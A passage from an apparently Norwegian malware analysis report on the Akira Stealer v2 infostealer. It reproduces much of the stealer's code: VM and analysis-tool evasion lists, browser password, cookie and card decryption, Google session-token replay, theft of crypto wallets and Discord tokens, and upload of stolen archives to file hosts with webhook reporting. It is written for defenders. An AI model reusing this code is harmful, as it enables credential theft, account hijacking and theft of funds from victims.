    'C7D23342-A5D4-68A1-59AC-CF40F735B363',
    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
    '44B94D56-65AB-DC02-86A0-98143A7423BF',
    '6608003F-ECE4-494E-B07E-1C4615D1D93C',
    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
    '49434D53-0200-9036-2500-369025003AF0',
    '8B4E8278-525C-7343-B825-280AEBCD3BCB',
    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
    '79AF5279-16CF-4094-9758-F88A616D81B4',
    'FE822042-A70C-D08B-F1D1-C207055A488F',
    '76122042-C286-FA81-F0A8-514CC507B250',
    '481E2042-A1AF-D390-CE06-A8F783B1E76A',
    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
    '9961A120-E691-4FFE-B67B-F0E4115D5919'
)

Blacklisted Computer Names

BLACKLISTED_COMPUTERNAMES = (
    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
    'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)

Blacklisted User Accounts

BLACKLISTED_USERS = (
    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)

Blacklisted Analysis‐Tool Processes

BLACKLISTED_TASKS = (
    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
    'discordtokenprotector', 'glasswire', 'requestly'
)

Core Detection Methods

@staticmethod
def checkUUID() -> bool:
    """WMIC hardware UUID against known VM IDs."""
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid",
            shell=True, capture_output=True
        ).stdout.splitlines()[2].decode(errors='ignore').strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

@staticmethod
def checkComputerName() -> bool:
    """ENV %COMPUTERNAME% in VM name list."""
    return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES

@staticmethod
def checkUsers() -> bool:
    """Current login username in VM users list."""
    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS

@staticmethod
def checkHosting() -> bool:
    """Query ip-api.com/hosting → 'true' indicates cloud VM."""
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET', 'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

@staticmethod
def checkHTTPSimulation() -> bool:
    """
    Attempt TLS to random subdomain.
    Failure → possible HTTPS interception/sandbox.
    """
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
        return True
    except:
        return False

@staticmethod
def checkRegistry() -> bool:
    """
    Look for VirtualBox/VMware in:
    - Registry driver entries
    - Video card name via WMIC
    - Presence of VM-specific folders
    """
    r1 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
        shell=True, capture_output=True
    )
    r2 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
        shell=True, capture_output=True
    )
    gpu = any(
        x.lower() in subprocess.run(
            "wmic path win32_VideoController get name",
            shell=True, capture_output=True
        ).stdout.decode().splitlines()[2].lower()
        for x in ("virtualbox", "vmware")
    )
    dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs

@staticmethod
def killTasks() -> None:
    """Continuously terminate known analysis processes."""
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

7.3.13 Kjørings- og avbruddslogikk

1. Initialisering: Inne i konstruktøren Akira.__init__() kaller malwaren umiddelbart VmProtect.isVM(1) for å gjøre raske virtualiseringssjekker med lav overhead (hostname, bruker, HTTPS-simulering).
2. Dybdeinspeksjon: Passerer den første testen, kalles VmProtect.isVM(2), som utløser mer omfattende sjekker, blant annet validering av hardware-UUID, hosting-deteksjon via ip-api.com og skanning av registerartefakter.
3. Avbruddsvei: Returnerer en av sjekkene True, altså at det er et virtuelt miljø eller analysemiljø, kjører koden sys.exit() og avslutter før noen rutiner for datainnsamling eller eksfiltrering settes i gang.

7.3.14 Konklusjon

Modulen VmProtect i Akira Stealer v2 viser et lagdelt forsvar mot analyse som utnytter både lokale systemfingeravtrykk og nettverksbaserte heuristikker. Ved å forstå og instrumentere disse presise sjekkene kan forsvarere snu spillet og oppdage slik unnvikende malware i operative miljøer.

7.4 Eksfiltrering av nettleserdata

Et av kjernemålene til Akira Stealer v2 er storskala uthenting av sensitive data lagret i nettleseren. Malwaren har skreddersydde moduler rettet mot både Chromium-baserte og Gecko-baserte (Firefox) nettlesere. Funksjonene omfatter uthenting og dekryptering av lagrede passord, cookies, kredittkortdata, autofyll-oppføringer og til og med sesjonstokens som kan gjenbrukes til å kapre kontoer i sin helhet.

1. Oppsett av arbeidsområde

client_dir = Utils.get_temp_folder()  # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)

• Oppretter et engangsområde for staging under systemets temp-katalog, oppkalt etter offerets maskin (%TEMP%\DESKTOP-), slik at alle eksfiltrerte artefakter samles på ett sted som er enkelt å arkivere.
• Isolerer data etter type: seks egne undermapper (Passwords, Cookies, CreditCards, History, Autofill, Wallets) hindrer navnekollisjoner og forenkler zippingen senere, siden hver uthentingsrutine bare skriver til sin egen mappe.
• Idempotent mappeoppretting bruker exist_ok=True, så hvis malwaren kjører på nytt, for eksempel ved omstart eller via persistens, krasjer den ikke og overskriver ikke eksisterende data. Nye elementer legges bare til i samme struktur.
• Muliggjør selektiv opprydding: når opplasting og varsling er ferdig, kan stealeren kalle Utils.clear_client_folder() for å slette bare sitt eget arbeidsområde rekursivt, uten å etterlate rester.
• Legger grunnlaget for parallelle uthentingstråder: ved å opprette alle mål på forhånd kan bakgrunnstråder som samler inn nettleser-credentials, cookies, autofyll, kryptolommebokdata og mer, skrive resultater umiddelbart uten flere sjekker. Det holder overheaden nede og krymper vinduet der defensive hooks kan oppdage uventet fil-I/O.

2. Nettlesere som støttes

• Chromium-baserte
  • Google Chrome (Stable & SxS)
  • Microsoft Edge
  • Brave Browser
  • Opera & Opera GX
  • Chromium
  • Comodo Dragon
  • Epic Privacy Browser
  • Iridium Browser
  • UR Browser
  • Vivaldi Browser
  • Yandex Browser
  • Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
• Firefox-baserte (via GeckoDriver)
  • Mozilla Firefox
  • Waterfox
  • Pale Moon
  
  Akira finner brukerprofiler dynamisk ved hjelp av miljøvariabler og velkjente katalogstrukturer:

  user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
  

  
  Den sjekker rekursivt etter tilgjengelige nettleserprofiler (for eksempel Default, Profile 1) og retter seg mot SQLite-databaser innenfor disse stiene.

7.4.1 Datatyper som hentes ut

3. Uthentingsmoduler Når malware-utviklere sikter seg inn på nettlesere, er de viktigste skattkistene de ulike SQLite-databasene der Chrome, Firefox og slektningene deres lagrer credentials, cookies, historikk og autofyll-oppføringer. astor.py syr sammen lettvekts Python og native API-er for metodisk å plukke ut hver bit av dataene, og til og med spille av levende OAuth-sesjoner, uten å etterlate spor. Under følger en grundig gjennomgang modul for modul, ordrett fra koden.

7.4.2 Passorddumper (Chromium.GetPasswords)

Denne modulen går systematisk gjennom alle Chromium-baserte nettleserprofiler for å hente ut lagrede påloggingsopplysninger. Ved å rette seg mot SQLite-databasen Login Data henter den brukernavn og krypterte passord, og bruker deretter plattformens krypteringsnøkkel (hentet via DPAPI eller AES-GCM) til å dekryptere dem til klartekst. Disse credentials er svært verdifulle for videre bevegelse etter kompromitteringen eller for kontoovertakelse.

for root, _, files in os.walk(self.BrowserPath):
    for file in files:
        if file.lower() == "login data":
            # Copy DB → open → extract rows
            results = cursor.execute(
                "SELECT origin_url, username_value, password_value FROM logins"
            ).fetchall()
            for url, user, pwd_blob in results:
                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
                passwords.append((url, user, clear_pwd))

• Finner hver Login Data-SQLite-database under nettleserens User Data-mappe.
• Kopierer til en midlertidig fil for å unngå nettleserlåser.
• SQL-spørring: SELECT origin_url, username_value, password_value FROM logins.
• Dekrypterer hver password_value-blob via AES-GCM (v10/v11) eller Windows DPAPI som fallback.
• Skriver resultatet til Passwords/<BrowserName> Passwords.txt.

7.4.3 Kredittkortdumper (Chromium.GetCreditCards)

Her henter stealeren lagrede kredittkortdata fra Web Data-filen i hver nettleserprofil. Den konsentrerer seg om å hente ut utløpsdato og krypterte kortnumre, som deretter dekrypteres med samme logikk som passordene. Selv om CVV-koder som regel ikke lagres, kan informasjonen som gjenopprettes, likevel misbrukes til card-not-present-svindel.

results = cursor.execute(
    "SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
    cc_number = self.Decrypt(enc_cc, encryptionKey)
    ccs.append((cc_number, month, year))

• Retter seg mot Web Data-SQLite-lagrene under hver profil.
• SQL-spørring: SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards.
• Dekrypterer card_number_encrypted på akkurat samme måte som passord-blobene.
• Skriver resultatet til CreditCards/<BrowserName> CreditCards.txt.

7.4.4 Cookie-dumper (Chromium.GetCookies)

Cookies, og særlig sesjonscookies, er førstevalget for å kapre kontoer uten passord. Denne modulen dumper alle cookie-filer på tvers av profilene, dekrypterer dem og samler inn viktige metadata som domene, navn og utløpstid. Kombinert med fingerprinting kan disse cookiene brukes til replay-angrep mot autentiserte tjenester uten videre hindringer.

results = cursor.execute(
    "SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
    cookie_val = self.Decrypt(blob, encryptionKey)
    cookies.append((host, name, path, cookie_val, expiry))

• Skanner hver Cookies-SQLite-database.
• Velger host_key, name, path, encrypted_value, expires_utc.
• Dekrypterer hver encrypted_value-blob for å avdekke den faktiske cookie-strengen.
• Lagrer i Cookies/<BrowserName> Cookies.txt.

7.4.5 Google-sesjonsdumper (Chromium.dump_google_sessions)

Denne rutinen, en av de mer avanserte komponentene, dekrypterer lagrede OAuth-tokens fra tabellen token_service. Ved å spille dem av på nytt mot Googles multilogin-endepunkt kan malwaren gjenskape aktive sesjonscookies, slik at angripere kan kapre Google-kontoer uten credentials. Det illustrerer hvordan access tokens har blitt et førstevalgsmål i moderne stealere.

cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
    iv = blob[3:15]
    ciphertext = blob[15:-16]
    cipher = AES.new(secret_key, AES.MODE_GCM, iv)
    token = cipher.decrypt(ciphertext).decode()
    # Replays via POST to OAuth endpoint
    response = requests.post(
        "https://accounts.google.com/oauth/multilogin",
        headers={"Authorization": f"MultiBearer {token}:{service_id}"},
        data={"source": "com.google.Drive"}
    )
    save each account’s cookies to file

• Henter service og den rå encrypted_token fra klonen av Web Data.
• AES-GCM-dekryptering med nettleserens Local State-nøkkel.
• Spiller av de dekrypterte tokenene i en POST mot Googles multilogin-API for å rekonstruere gyldige OAuth-cookies.
• Skriver sesjonsfiler per konto under Cookies/<display_email> Google Session.txt.

7.4.6 Historikkdumper (Chromium.GetHistory)

Denne funksjonen henter ut oppføringer fra nettleserhistorikken, inkludert URL, tittel og besøksfrekvens. Utover selve personverninngrepet hjelper dataene angripere med å forstå offerets atferd, finne høyverdige mål som bankportaler eller skreddersy payloads for social engineering.

results = cursor.execute(
    "SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]

• Velger url, title, visit_count, last_visit_time fra hver History-database.
• Sorterer oppføringene etter last_visit_time synkende.
• Skriver ut History/<BrowserName> History.txt.

7.4.7 Autofyll-dumper (Chromium.GetAutofills)

Autofyll-oppføringer som adresser, navn, e-postadresser og noen ganger betalingsrelaterte data hentes ut fra nettleserens Web Data-lager. Verdiene kan virke uviktige hver for seg, men samlet gir de en rik profil av offerets identitet og atferd.

results = cursor.execute(
    "SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
    autofills.append((field.strip(), value.strip()))

• Henter skjemaoppføringer: name, value fra filen web data.
• Skriver dem ut som Autofill/<BrowserName> Autofill.txt.

7.4.8 Innsamler for Firefox-profiler (GeckoDriver & grabFirefoxProfiles)

Til forskjell fra de finmaskede Chromium-rutinene velger denne funksjonen en bred tilnærming: den komprimerer hele Firefox-profilkatalogen, inkludert lagrede pålogginger, cookies og bokmerker, og eksfiltrerer den i sin helhet. Det sikrer at angripere kan analysere eller hente ut data offline og omgå dekrypteringshindre med kjent NSS-verktøy.

with zipfile.ZipFile(zip_path, 'w') as zipf:
    for root, dirs, files in os.walk(source_path):
        zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks

• Zipper hele katalogen %APPDATA%\Mozilla\Firefox\Profiles.
• Navngir den %TEMP%\<ComputerName>_Firefox_profiles.zip og sender nedlastingslenken via de samme webhook-kanalene.
• Kaller også de samme SQLite-baserte uthentingsfunksjonene (logins.json, cookies.sqlite, places.sqlite) mot hver Firefox-profil, med NSS-dekrypteringsrutinene som allerede finnes.

7.4.9 Oppsummering av uthentingen

Astor.py orkestrerer en gjennomgripende kompromittering av nettleseren ved systematisk å høste hver credential og hver sesjonsartefakt på tvers av Chromium-baserte klienter og Firefox-klienter. Den finner og kopierer trygt hvert SQLite-lager, altså Login Data, Web Data, Cookies, History og autofill, og kjører deretter målrettede SQL-spørringer for å hente ut URL-er, brukernavn, passord, kredittkortdetaljer, cookies, nettleserhistorikk og skjemaoppføringer. Passord og betalingsdata dekrypteres via AES-GCM (eller Windows DPAPI som fallback), og cookies pakkes ut på samme måte for å avdekke klartekstverdiene. For Google-kontoer dekrypteres krypterte OAuth-tokens fra token_service og spilles av på nytt mot multilogin-API-et for å gjenskape levende sesjonscookies. Til slutt arkiveres Firefox-profiler i sin helhet (inkludert logins.json, cookies.sqlite og places.sqlite) og leveres som ZIP-filer, slik at ingen artefakt blir liggende igjen. Hele denne pipelinen kjører stille under %TEMP%\<ComputerName> og produserer ryddig organiserte utdatafiler for hver datakategori.

7.5 Dekrypteringslogikk

Moderne nettlesere som Chrome og Edge krypterer sensitive data, for eksempel passord, cookies og kredittkortdetaljer, før de lagres lokalt. Akira har innebygde dekrypteringsrutiner som er tilpasset både eldre og nåværende krypteringsmetoder i Chromium. Dermed kan den hente ut klartekstdata uansett patchenivå på systemet eller nettleserversjon.

Kjernen i prosessen er å hente ut og dekryptere nettleserens hovedkrypteringsnøkkel, som ligger lagret i en fil som heter Local State. Avhengig av nettleserversjon og Windows-build velger Akira dynamisk den passende dekrypteringsmetoden:

DPAPI (Data Protection API) brukes på eldre systemer, der Chrome lagrer hemmeligheter beskyttet av Windows-credentials til den innloggede brukeren.

AES-GCM brukes i moderne Chromium-builds, der en tilfeldig generert hovednøkkel selv krypteres med DPAPI og deretter brukes til kryptering av brukerdata inne i appen.

Ved først å dekryptere hovednøkkelen i Local State får Akira mulighet til å låse opp alle hemmelighetene i nettleseren, og det baner vei for uthenting av credentials, tokens, cookies og mer.

Nøkkeluthenting

local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

Dekryptering (AES-GCM):

nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)

Er fallback til DPAPI nødvendig (på eldre systemer), brukes win32crypt.CryptUnprotectData().

Forklaring av decrypt_password_blob: Denne funksjonen viser hvordan Akira Stealer dekrypterer hver lagret passordverdi fra Chromium-baserte nettlesere. Den håndterer to tilfeller:

1. Windows DPAPI-blober (eldre eller ikke-GCM-krypterte data): Faller tilbake på systemkallet CryptUnprotectData, som bruker Windows-credentials til brukeren for å dekryptere.
2. AES-GCM-krypterte blober (Chrome v10/v11-format): Tolker versjonsheaderen, henter ut IV og autentiseringstaggen, og bruker biblioteket cryptography til å dekryptere payloaden trygt.

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend


def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
    """
    Decrypts a Chrome password blob using either DPAPI or AES-GCM.

    Parameters:
    - buffer: raw encrypted blob from the `password_value` field
    - key: the master AES key retrieved via DPAPI from Local State

    Returns:
    - Decrypted UTF-8 plaintext password
    """
    # 1) DPAPI fallback for non-AES-GCM blobs
    if not buffer.startswith((b'v10', b'v11')):
        # Uses Windows CryptUnprotectData under the hood
        return CryptUnprotectData(buffer)

    # 2) AES-GCM decryption for Chrome v10/v11 format:
    # Bytes layout:
    # [0:3]    = version header ('v10'/'v11')
    # [3:15]   = initialization vector (IV)
    # [15:-16] = ciphertext payload
    # [-16:]   = GCM authentication tag
    iv = buffer[3:15]
    ciphertext = buffer[15:-16]
    tag = buffer[-16:]

    # Initialize AES-GCM cipher with extracted IV and tag
    cipher = Cipher(
        algorithms.AES(key),
        modes.GCM(iv, tag),
        backend=default_backend()
    )
    decryptor = cipher.decryptor()

    # Perform decryption; raises if authentication fails
    plaintext = decryptor.update(ciphertext) + decryptor.finalize()

    # Decode to UTF-8, ignoring any stray errors
    return plaintext.decode('utf-8', errors='ignore')

7.6 Kapring av sesjonstokens

Akira stopper ikke ved passiv datainnsamling. Den kaprer aktivt levende sesjonstokens for å utgi seg for å være offeret i sanntid. Etter å ha hentet ut krypterte tokens fra nettleserens lagring bygger den den nødvendige autorisasjonsheaderen og spiller av en MultiLogin-forespørsel mot Googles OAuth-endepunkt. Kodeutdraget under viser prosessen:

# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
    "Authorization": f"SAPISIDHASH {timestamp}_{signature}",
    "Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
    "https://accounts.google.com/accounts/multilogin",
    headers=headers,
    json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
    # Victim’s cookies now present in response.cookies
    hijacked_cookies = response.cookies

Ved å spille av denne forespørselen kan Akira utgi seg for å være brukerens Gmail, Drive eller en hvilken som helst annen Google-tjeneste som beskyttes av en gyldig sesjon, helt uten credentials. Teknikken utnytter Googles egen logikk for å godta tokens, og det gjør den nesten umulig å skille fra legitim klientatferd.

7.7 Firefox-dekryptering

Gecko-baserte nettlesere som Firefox krypterer lagrede credentials og cookies med en hovednøkkel som ligger i key4.db. Akira har en nedstrippet dekrypteringsrutine som speiler NSS-logikken til Mozilla, og som håndterer både 3DES- og AES-CBC-varianter uten å utløse forespørselen om hovedpassord. Eksempel på bruk:

# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()

# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))

print("Decrypted Firefox password:", clear_password)

Med denne rutinen kan Akira dumpe logins.json, cookies.sqlite og places.sqlite for hver Firefox-profil transparent, og skrive de dekrypterte utdataene til:

Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt

Metoden går rundt sjekkene av hovedpassord på brukernivå, og gir stealeren uhindret tilgang til alle lagrede credentials.*

4. Filstruktur og navngivning

<ComputerName>.zip
└── <ComputerName>\
    ├── Passwords\
    │   ├── Chrome Passwords.txt
    │   ├── Edge Passwords.txt
    │   └── …
    ├── Cookies\
    │   ├── Chrome Cookies.txt
    │   ├── Edge Cookies.txt
    │   ├── user@example.com Google Session.txt
    │   └── …
    ├── CreditCards\
    │   ├── Chrome CreditCards.txt
    │   └── …
    ├── History\
    │   ├── Chrome History.txt
    │   └── …
    ├── Autofill\
    │   ├── Chrome Autofill.txt
    │   └── …
    └── Wallets\
        ├── Firefox_Default_profiles.zip
        ├── Firefox_Profile1_profiles.zip
        └── …

• Hver .txt-fil begynner med en konsekvent header (<================[Akira Stealer v2]>================>) og en skillelinje (====…====).
• ZIP på disk: %TEMP%\<ComputerName>.zip.
• Filnavnetikett for C&C: Akira-<username>.zip.

5. Eksfiltrering og opprydding

url = Webhook.uploadToGofile(zip_path)
if not url:
    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()

• Primærkanal (GoFile.io): Malwaren forsøker først å laste opp ZIP-arkivet med alle stjålne artefakter til GoFile.io, og leser JSON-svaret for å finne en downloadPage-URL som gir angriperen direkte tilgang til arkivet.
• Automatiske fallbacks: Feiler GoFile-endepunktet, for eksempel på grunn av nettverkstimeout eller rate limit, faller koden problemfritt tilbake på file.io, og returnerer også den en tom lenke, til slutt på oshi.at. Begge alternativene kalles uten å kaste unntak, slik at én av de tre tjenestene alltid blir forsøkt etter tur.
• Webhook-rapportering: Når en URL (eller en tom streng ved vedvarende feil) er fastslått, kalles Webhook.sendDataTG(...), som pakker sammen nedlastingslenken, maskinidentifikatorene (chatId, flagget startup) og alle kategoritellingene (passord, cookies, autofyll, lommebøker) i én enkelt Discord- eller Telegram-melding.
• Umiddelbar opprydding: Etter rapporteringen sletter Utils.clear_client_folder() hele det midlertidige arbeidsområdet og selve ZIP-filen rekursivt, uten å etterlate spor av de innsamlede dataene eller arkivet på disken.

Robusthet mot feil:

• Alle opplastingsrutiner returnerer "" ved feil i stedet for å kaste unntak, noe som garanterer at kodeflyten fortsetter.
• Selv om alle tjenestene er utilgjengelige, sender malwaren likevel en webhook-rapport, om enn uten lenke, før de lokale artefaktene slettes. Det holder de forensiske restene nede så lenge prosessen ikke krasjer uventet.

6. Robusthet og feilhåndtering

• Finmasket feilhåndtering: Hver interaksjon med filsystemet, enten det er shutil.copy, SQLite-spørringer eller ZIP-operasjoner, pakkes inn i try/except-blokker. Oppstår det en feil (låst database, nektet tilgang, ødelagt post), fanges unntaket og logges via Akira.logErrorTg(), og kjøringen fortsetter. Dermed isoleres feilen til nettopp den filen eller modulen.
• Trådisolering per nettleser: Uthentingsrutinene for hver nettleser som støttes, kjører i sin egen tråd. Denne flertrådede designen sørger for at en krasj eller vranglås i uthentingen for én nettleser, for eksempel en ødelagt profil eller en manglende nøkkel, ikke stopper eller forsinker analysen av de andre.
• Stille fallbacks og standardverdier: Mange hjelperutiner, som opplasting til alternative filverter, sjekk av eksterne ressurser eller start av underprosesser, bruker nøstede try/except-blokker uten synlige varsler, noe som maksimerer skjultheten. Standardverdiene (tomme strenger, booleanere) er valgt for å holde flyten uforstyrret og fjerne åpenbare feiltilstander.
• Mutex og oppstartsvern: En navngitt mutex (1qsMlseJplTlArIF14f) hindrer flere instanser, mens registersjekker og Utils.CreateMutex() beskytter mot samtidige kjøringer og gir ekstra stabilitet ved bruk i praksis.

7.8 Eksfiltrering av lommebøker og tokens

I denne fasen gjør Akira Stealer v2 sitt mest omfattende sveip etter kryptovaluta-credentials og sesjonstokens, og dekker nettleserutvidelser, skrivebordslommebøker, meldingstokens og keylogging i sanntid. Den kjører i parallelle tråder, slik at ingen vektor går tapt. Under følger en grundig gjennomgang steg for steg, med dekning i koden.

7.8.1 Lommebøker som nettleserutvidelser

Mål: Over 80 utvidelser i populære nettlesere, blant annet MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og flere.

# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
    ["MetaMask",        "nkbihfbeogaeaoehlefnkodbefgpgknn"],
    ["Phantom",         "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
    ["TrustWallet",     "egjidjbpglichdcondbcbdnbeeppgdph"],
    ["CoinbaseWallet",  "hfhmhopkfngkjcalldmaepmpilmjjemb"],
    ["Solflare",        "bhhhlbepdkbapadjdnnojkbgioiodbic"],
    ["BinanceChain",    "fhbohimaelbohpjbbldcngcnapndodjp"],
    ["Keplr",           "dmkamcknogkgcdfhhbddcghachkejeap"],
    ["Nami",            "lpfcbjknijpeeillifnkikgncikgfhdo"],
    ["Talisman",        "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
    ["TronLink",        "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
    # ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
    base = os.path.join(user_data, "Default", "Local Extension Settings")
    for ext_name, ext_id in walletsExtensions:
        src = os.path.join(base, ext_id)
        if os.path.isdir(src):
            dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
            shutil.copytree(src, dest, dirs_exist_ok=True)
            data.ext_wallets_count += 1

• Filer som kopieres: Utvidelsesspesifikke IndexedDB-, LevelDB-, JSON- og konfigurasjonsfiler som inneholder krypterte nøkler, seed-fraser og påloggingsopplysninger.
• Resultatmappe: Wallets/MetaMask_Chrome/, Wallets/Phantom_Edge/ med flere.

7.8.2 Skrivebordslommebøker

Mål: Store skrivebordsklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flere.

walletsDesktop = [
    ["Electrum",     os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
    ["Exodus",       os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
    ["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
    ["Guarda",       os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
    ["Rabby",        os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
    ["Coinomi",      os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
    if os.path.isdir(path):
        Utils.TaskKill(name.lower())
        dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
        shutil.copytree(path, dest, dirs_exist_ok=True)
        data.desktop_wallets_count += 1

• Data som stjeles: Keystore-filer (*.dat, *.json), eksporterte private nøkler, lommebokkonfigurasjon og transaksjonshistorikk.
• Nytteverdi: Lommebokinnhold offline som angriperen kan bruke til å godkjenne transaksjoner.

7.8.3 Innsamling av Discord-tokens

Discord-tokens er autentiseringsartefakter, i praksis langlevde bearer-tokens, som kan gi full tilgang til en brukers konto uten credentials eller MFA. Akira utnytter dette ved å skanne nettleser- og appdatamapper etter tokens lagret av ulike Discord-klienter, blant annet Discord Stable, Canary, PTB (Public Test Build) og til og med modifiserte forker som Lightcord.

Teknikken retter seg mot LevelDB-filer under applikasjonens Local Storage, der autentiseringstokens ofte ligger i klartekst. Ved hjelp av regulære uttrykk skanner malwaren disse .log- og .ldb-filene etter mønstre som treffer enten vanlige brukertokens eller MFA-aktiverte tokens.

For å øke påliteligheten og redusere støy har Akira et valideringssteg: den sender en testforespørsel til Discords endepunkt /users/@me med hvert innsamlede token. Bare tokens som autentiserer (HTTP 200), eksfiltreres via webhook, vanligvis til en Discord-kanal angriperen kontrollerer.

Metoden gjør det mulig for angripere å kapre Discord-kontoer i sanntid, utgi seg for offeret, skrape DM-er og guilds, eller spre mer malware gjennom social engineering, alt uten å utløse påloggingsvarsler.

import re, requests
patterns = [
    r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}",  # User tokens
    r"mfa\.[\w-]{84,100}"                      # MFA tokens
]
def harvest_discord(base, webhook_url):
    db_dir = os.path.join(base, "Local Storage", "leveldb")
    for file in os.listdir(db_dir):
